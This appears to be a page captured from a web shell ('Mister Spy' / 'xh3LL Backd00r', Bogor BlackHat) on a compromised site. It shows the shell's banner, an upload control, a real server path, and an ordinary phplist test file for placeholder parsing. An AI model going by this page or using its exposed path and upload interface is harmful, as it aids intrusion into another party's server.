Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/phplist/lists/admin/tests/
Upload File :
Current File : /home/caballoscriollos/www/phplist/lists/admin/tests/parseplaceholders.php

<?php

require_once dirname(__FILE__).'/../sendemaillib.php';

class parseplaceholders extends phplistTest {
  public $name = 'parsePlaceholders';
  public $purpose = 'Test placeholder parsing';
  

  function runtest() {
  
    $placeholderTests = array (
      'Basic 1' =>  array (
        'values' => array('NAME' => 'First Name','LASTNAME' => 'Last Name'),
        'template' => ' [NAME] [LASTNAME] ',
        'result' => ' First Name Last Name ',
      ),
      'Basic with fallback' =>  array (
        'values' => array('SALUTATION' => '','LASTNAME' => 'Last Name'),
        'template' => ' Dear [SALUTATION%%Mr/Ms] [LASTNAME] ',
        'result' => ' Dear Mr/Ms Last Name ',
      ),
      'Basic Case' =>   array (
        'values' => array('saluTaTION' => '','LastName' => 'Last Name'),
        'template' => ' Dear [SALuTation%%Mr/Ms] [lASTnAme] ',
        'result' => ' Dear Mr/Ms Last Name ',
      ),
      'Foreign Char' => array (
        'values' => array('Företag' => 'XXX'),
        'template' => ' [Företag] [F&ouml;retag] [F&ouml;RETAG] ',
        'result' => ' XXX XXX XXX ',
      ),
      'Foreign Char2' => array (
        'values' => array('Företag' => 'XXX'),
        'template' => ' [F&ouml;RETAG%%Company name] ',
        'result' => ' XXX ',
      ),
      'Empty value' => array(
        'values' => array('Empty' => ''),
        'template' => ' [EMPTY%%Fallback value] ',
        'result' => ' Fallback value ',
      ),
      'Foreign Char3' => array (
        'values' => array('PAíS COUNTRY' => 'São Paulo'),
        'template' => ' [PA&iacute;S COUNTRY%%Fallback value] [PAíS COUNTRY%%Fallback value] ',
        'result' => ' São Paulo São Paulo ',
      ),
      'Foreign Char Fallback' => array (
        'values' => array('PAíS COUNTRY' => ''),
        'template' => ' [PA&iacute;S COUNTRY%%Fallback value] [PAíS COUNTRY%%Fallback value] ',
        'result' => ' Fallback value Fallback value ',
      ),
      'Multiple' => array(
        'values' => array('Name' => '','PAíS COUNTRY' => 'São Paulo','Nome' => 'Your real name','GRUPO BAND' => 'Loahded dipers'),
        'template' => 
'<p>Dear [NAME%%Friend]</p>
<p>&nbsp;</p>
<p>Your band name is [GRUPO BAND%%Unknown band name]</p>
<p>and you live in [PA&iacute;S COUNTRY%%No idea actually]</p>
<p>[PA&iacute;S COUNTRY]</p>
<p>Your real name is [NOME]</p>
<p>&nbsp;</p>',
        'result' => 
'<p>Dear Friend</p>
<p>&nbsp;</p>
<p>Your band name is Loahded dipers</p>
<p>and you live in São Paulo</p>
<p>São Paulo</p>
<p>Your real name is Your real name</p>
<p>&nbsp;</p>',
      ),
      
    );
    print("<P>PHP " . PHP_VERSION . " running on " . PHP_OS . " - Testing placeholder parsing</P>");
    
    $resultString ="";
    $nFoundWrong = 0;
    
    $boolean = array("FALSE","TRUE");
    
    foreach ($placeholderTests as $placeholder => $test) {      
      $testresult = parsePlaceHolders($test['template'],$test['values']);
      if ($testresult != $test['result']) {
        $resultString .= "$placeholder parses incorrectly <BR/> <pre>".htmlspecialchars($testresult)."</pre> instead of <pre>".htmlspecialchars($test['result']).'</pre>';
        $nFoundWrong++;  
      }
    }
    
    if ($nFoundWrong > 0) {
      print("<P>The following $nFoundWrong placeholders were evaluated wrong:<BR/>$resultString</P>");
      return false;
    } else {
      print("<P>All placeholders evaluated correctly.</P>");
      return true;
    }
  }
}


Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat